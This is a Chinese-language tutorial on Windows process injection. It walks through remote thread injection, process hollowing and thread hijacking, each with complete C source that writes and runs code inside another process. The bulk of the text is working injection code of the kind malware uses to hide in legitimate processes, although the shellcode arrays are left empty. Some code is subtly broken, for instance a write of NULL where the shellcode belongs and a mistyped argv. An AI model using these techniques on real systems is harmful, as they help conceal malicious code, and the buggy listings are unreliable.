进程注入

远程线程注入

远程线程注入是指一个进程在另一个进程中创建线程的技术

流程

1.打开被注入进程的句柄

2.通过句柄向被注入进程申请可写可执行空间

3.往申请的空间内写入数据

4.创建线程并执行

1.打开具有所有访问权限的目标进程句柄

使用 OpenProcess

processHandle = OpenProcess(
  PROCESS_ALL_ACCESS, // 定义访问权限
  FALSE, // 不继承句柄
  (atoi(argv[1])) // 从命令行读取进程标识符
);

2.为 shellcode 分配目标进程内存

使用VirtualAllocEx

remoteBuffer = VirtualAllocEx(
  processHandle, // 打开的目标进程句柄
  NULL, 
  sizeof shellcode, // 内存区域分配的大小
  (MEM_RESERVE | MEM_COMMIT),
  PAGE_EXECUTE_READWRITE
);

3.在分配的内存区域中写入shellcode

使用WriteProcessMemory将数据写入到指定进程中的内存区域。 要写入的整个区域必须可访问,否则操作将失败

WriteProcessMemory(
  processHandle,
  remoteBuffer,
  shellcode,
  sizeof shellcode,
  NULL
);

4.创建线程执行内存中的shellcode

使用createRemoteThread 创建在另一个进程(我们注入的进程)的虚拟地址空间中运行的线程

remoteThread = CreateRemoteThread(
  processHandle, // 打开的进程句柄
  NULL, 
  0, // 堆栈的初始大小,若为0则新线程使用可执行文件的默认大小
  (LPTHREAD_START_ROUTINE)remoteBuffer, // 线程的起始地址
  NULL, 
  0, // 线程在创建后立即执行
  NULL
);
​

完整代码


#include "windows.h"
int main(int argc, char* argv) {
  unsigned char shellcode[] = "";
  HANDLE h_process = OpenProcess(
    PROCESS_ALL_ACCESS,
    FALSE,
    (atoi(argv[1]))
  );
  PVOID  b_shellcode = VirtualAllocEx(
    h_process,
    NULL,
    sizeof shellcode,
    (MEM_RESERVE | MEM_COMMIT),
    PAGE_EXECUTE_READWRITE
  );
  WriteProcessMemory(h_process, b_shellcode, shellcode, sizeof shellcode, NULL);
  HANDLE h_thread = CreateRemoteThread(
    h_process,
    NULL,
    0,
    b_shellcode,
    NULL,
    0,
    NULL
  );
  return 0;
}

进程镂空 - Process Hollowing

流程

  • 1.创建一个挂起的合法进程

  • 2.读取恶意软件的代码

  • 3.获取挂起进程上下文与环境信息

  • 4.卸载挂起进程内存

  • 5.写入恶意软件代码

  • 6.恢复挂起进程

1.创建一个挂起的合法进程

使用CreateProcessA创建一个处于挂起状态的目标进程。


  if (!CreateProcessA(0,(LPSTR)victimImage,0,0,0,CREATE_SUSPENDED,0,0,pVicitimStartupInfo, pVictimProcessInfo)) {
    printf("[-] Failed to crete victim process %i\r\n", GetLastError());
    return 1;
  }
  printf("[+]Create victim process PID %i\r\n", pVictimProcessInfo->dwProcessId);

2.读取恶意软件的代码

使用CreateFileA获取恶意软件的句柄

  HANDLE hReplacement = CreateFileA(
    replacementImage,
    GENERIC_READ,
    FILE_SHARE_READ,
    0,
    OPEN_EXISTING,
    0,
    0
  );

使用VirtualAlloc将内存分配给本地进程

  DWORD replacementSize = GetFileSize(hReplacement, 0);
  printf("\t[+] Size %i bytes\r\n", replacementSize);
  PVOID pReplacementImage = VirtualAlloc(
    0,
    replacementSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
  );

使用ReadFile 写入本地进程内存

  DWORD totalBytes;
  if (!ReadFile(
    hReplacement,
    pReplacementImage,
    replacementSize,
    &totalBytes,
    0)){
    printf("[-]Failed to read the replacement executable into an image in memory\r\n");
    return 1;
  }

3.获取挂起进程上下文与环境信息

进程环境块PEB)是 Windows NT操作系统内部使用的数据结构,用以存储每个进程的运行时数据,每个进程又有一个独立且由操作系统进行维护的PEB。

挂起创建的进程的EBX寄存器存储着PEB,而PEB内存储着进程的实际加载地址。

这个寄存器可以通过使用 GetThreadContext 获取,然后可以使用 ReadProcessMemory 函数来从 EBX 寄存器中获取基地址

  CONTEXT victimContext;
  //  Save the complete thread context information
  victimContext.ContextFlags = CONTEXT_FULL;
  GetThreadContext(pVictimProcessInfo->hThread, &victimContext);
  printf("\t[+] Victim PEB address / EBX = 0x%08x\r\n", (UINT)victimContext.Ebx);
  printf("\t[+] Victim entry point / EAX = 0x%08x\r\n", (UINT)victimContext.Eax);
  // Get base address of the victim executable from EBX
  PVOID pVictimImageBaseAddress;
  ReadProcessMemory(
    pVictimProcessInfo->hProcess,
    (PVOID)(victimContext.Ebx + sizeof(SIZE_T) * 2),
    &pVictimImageBaseAddress,
    sizeof(PVOID),
    0
  );

4.卸载挂起进程内存

然后可以取消内存映射,使用从 ntdll中的 NtUnmapViewOfSection 来释放目标进程的内存

  DWORD unmapResult = NtUnmapViewOfSection(pVictimProcessInfo->hProcess,pVictimImageBaseAddress);
  if (unmapResult) {
    printf("[-] Error unmapping section in victim process\r\n");
    TerminateProcess(pVictimProcessInfo->hProcess, 1);
    return 1;
  }

5.写入恶意软件代码

使用VirtualAlloc来分配内存,

首先需要从文件头中获得文件的大小

PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; // 获取DOS标头
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); // e_lfanew 可以识别从 DOS 标头到 PE 标头的字节数
​
DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; // 到达 PE 标头后,我们可以从Optional 标头中获取 SizeOfImage

分配内存:

  PVOID pVictimHollowedAllocation = VirtualAllocEx(
    pVictimProcessInfo->hProcess,
    (PVOID)pVictimImageBaseAddress,
    sizeOfReplacementImage,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE);
  if (!pVictimHollowedAllocation) {
    printf("[-] Unable to allocate memory in victim process %i\r\n", GetLastError());
    TerminateProcess(pVictimProcessInfo->hProcess, 1);
    return 1;
  }

然后先写入文件头,再逐段写入

  for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) {
    PIMAGE_SECTION_HEADER pSectionHeader =
      (PIMAGE_SECTION_HEADER)((LPBYTE)pReplacementImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS)
        + (i * sizeof(IMAGE_SECTION_HEADER)));
    WriteProcessMemory(pVictimProcessInfo->hProcess,
      (PVOID)((LPBYTE)pVictimHollowedAllocation + pSectionHeader->VirtualAddress),
      (PVOID)((LPBYTE)pReplacementImage + pSectionHeader->PointerToRawData),
      pSectionHeader->SizeOfRawData,
      0);
  }

6.恢复挂起进程

挂起创建进程的EAX内存储着软件的入口点,使用SetThreadContext 将PEB内的实际加载地址修改为恶意软件预期的加载地址。

  victimContext.Eax = (SIZE_T)((LPBYTE)pVictimHollowedAllocation + pNTHeaders->OptionalHeader.AddressOfEntryPoint);
  SetThreadContext(
    pVictimProcessInfo->hThread,
    &victimContext);

然后使用ResumeThread让进程脱离挂起状态

ResumeThread(pVictimProcessInfo->hThread);

最终代码:

#include "Windows.h"
#include "stdio.h"
​
#pragma comment(lib, "ntdll.lib")
​
EXTERN_C NTSTATUS NTAPI NtUnmapViewOfSection(HANDLE, PVOID);
​
int main() {
  LPSTARTUPINFOA pVicitimStartupInfo = new STARTUPINFOA();
  LPPROCESS_INFORMATION pVictimProcessInfo = new PROCESS_INFORMATION();
  // Target Image
  LPCSTR victimImage = "cmd.exe";
  LPCSTR replacementImage = "C:\\Windows\\System32\\calc.exe";
  // Create Victim process
  if (!CreateProcessA(0,(LPSTR)victimImage,0,0,0,CREATE_SUSPENDED,0,0,pVicitimStartupInfo, pVictimProcessInfo)) {
    printf("Failed to crete victim process %i\r\n", GetLastError());
    return 1;
  }
  printf("[+]Create victim process PID %i\r\n", pVictimProcessInfo->dwProcessId);
​
  // Open replacement executable to place inside victim process
  HANDLE hReplacement = CreateFileA(
    replacementImage,
    GENERIC_READ,
    FILE_SHARE_READ,
    0,
    OPEN_EXISTING,
    0,
    0
  );
  if (hReplacement == INVALID_HANDLE_VALUE) {
    printf("[-] Failed to open replacement executable %i\r\n", GetLastError());
  }
  DWORD replacementSize = GetFileSize(hReplacement, 0);
  // Allocate memory for replacement executable
  PVOID pReplacementImage = VirtualAlloc(
    0,
    replacementSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
  );
  // Load it
  DWORD totalBytes;
  if (!ReadFile(
    hReplacement,
    pReplacementImage,
    replacementSize,
    &totalBytes,
    0)){
    printf("[-]Failed to read the replacement executable into an image in memory\r\n");
    return 1;
  }
  CloseHandle(hReplacement);
  CONTEXT victimContext;
  //  Save the complete thread context information
  victimContext.ContextFlags = CONTEXT_FULL;
  GetThreadContext(pVictimProcessInfo->hThread, &victimContext);
  // Get base address of the victim executable from EBX
  PVOID pVictimImageBaseAddress;
  ReadProcessMemory(
    pVictimProcessInfo->hProcess,
    (PVOID)(victimContext.Ebx + sizeof(SIZE_T) * 2),
    &pVictimImageBaseAddress,
    sizeof(PVOID),
    0
  );
​
  // Unmap executable image from victim process
  DWORD unmapResult = NtUnmapViewOfSection(pVictimProcessInfo->hProcess,pVictimImageBaseAddress);
  if (unmapResult) {
    printf("[-] Error unmapping section in victim process\r\n");
    TerminateProcess(pVictimProcessInfo->hProcess, 1);
    return 1;
  }
  // Allocate memory for the replacement image in the remote process
  PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pReplacementImage;
  PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pReplacementImage + pDOSHeader->e_lfanew);
  DWORD replacementImageBaseAddress = pNTHeaders->OptionalHeader.ImageBase;
  DWORD sizeOfReplacementImage = pNTHeaders->OptionalHeader.SizeOfImage;
  PVOID pVictimHollowedAllocation = VirtualAllocEx(
    pVictimProcessInfo->hProcess,
    (PVOID)pVictimImageBaseAddress,
    sizeOfReplacementImage,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE);
  if (!pVictimHollowedAllocation) {
    printf("[-] Failed to allocate memory in victim process %i\r\n", GetLastError());
    TerminateProcess(pVictimProcessInfo->hProcess, 1);
    return 1;
  }
  // Write replacement process headers into victim process
  WriteProcessMemory(
    pVictimProcessInfo->hProcess,
    (PVOID)pVictimImageBaseAddress,
    pReplacementImage,
    pNTHeaders->OptionalHeader.SizeOfHeaders,
    0);
  // Write replacement process sections into victim process
  for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) {
    PIMAGE_SECTION_HEADER pSectionHeader =
      (PIMAGE_SECTION_HEADER)((LPBYTE)pReplacementImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS)
        + (i * sizeof(IMAGE_SECTION_HEADER)));
    WriteProcessMemory(pVictimProcessInfo->hProcess,
      (PVOID)((LPBYTE)pVictimHollowedAllocation + pSectionHeader->VirtualAddress),
      (PVOID)((LPBYTE)pReplacementImage + pSectionHeader->PointerToRawData),
      pSectionHeader->SizeOfRawData,
      0);
  }
​
  // Change EAX
  victimContext.Eax = (SIZE_T)((LPBYTE)pVictimHollowedAllocation + pNTHeaders->OptionalHeader.AddressOfEntryPoint);
  SetThreadContext(
    pVictimProcessInfo->hThread,
    &victimContext);
  // Reseum the Process
  ResumeThread(pVictimProcessInfo->hThread);
  // Clean up
  CloseHandle(pVictimProcessInfo->hThread);
  CloseHandle(pVictimProcessInfo->hProcess);
  VirtualFree(pReplacementImage, 0, MEM_RELEASE);
  return 0;
}

线程劫持 - Thread Hijack

流程

  • 1.打开或创建一个进程

  • 2.挂起其中一个线程

  • 3.分配并写入shellcode

  • 4.更改eip/rip指针指向shellcode

  • 5.恢复挂起线程

为找到目标进程中需要劫持的线程,需要使用到CreateToolhelp32SnapshotThread32FirstThread32Next这三个windows api

CreateToolhelp32Snapshot

创建一个线程快照的句柄(HANDLE),以便获取当前系统中所有线程的信息

HANDLE h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

Thread32First

使用线程快照句柄,获取第一个线程信息

THREADENTRY32 threadEntry;
Thread32First(h_snapshot, &threadEntry);

并保存到 threadEntry 结构体中

Thread32Next

Thread32First用法类似,用于获得下一个线程的信息

找到要劫持的目标线程

HANDLE h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof(THREADENTRY32);
Thread32First(h_snapshot, &threadEntry);
HANDLE h_thread;
while (Thread32Next(h_snapshot, &threadEntry)) 
{
  if (threadEntry.th32OwnerProcessID == atoi(argv[1])) {
    h_thread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
    break;
  }
}

完整代码

#include "windows.h"
#include "tlhelp32.h"
​
unsigned char shellcode[] = "";
​
int main(int argc, char* argv[]) {
  HANDLE h_process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[1]));
  PVOID b_shellcode = VirtualAllocEx(h_process, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(h_process, b_shellcode, NULL, sizeof shellcode, NULL);
  HANDLE h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
  THREADENTRY32 threadEntry;
  threadEntry.dwSize = sizeof(THREADENTRY32);
  Thread32First(h_snapshot, &threadEntry);
  HANDLE h_thread;
  while (Thread32Next(h_snapshot, &threadEntry)) 
  {
    if (threadEntry.th32OwnerProcessID == atoi(argv[1])) {
      h_thread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
      SuspendThread(h_thread);
      CONTEXT context;
      context.ContextFlags = CONTEXT_FULL;
      GetThreadContext(h_thread, &context);
      context.Eip = (DWORD_PTR)b_shellcode;
      SetThreadContext(h_thread, &context);
      ResumeThread(h_thread);
      break;
    }
  }
}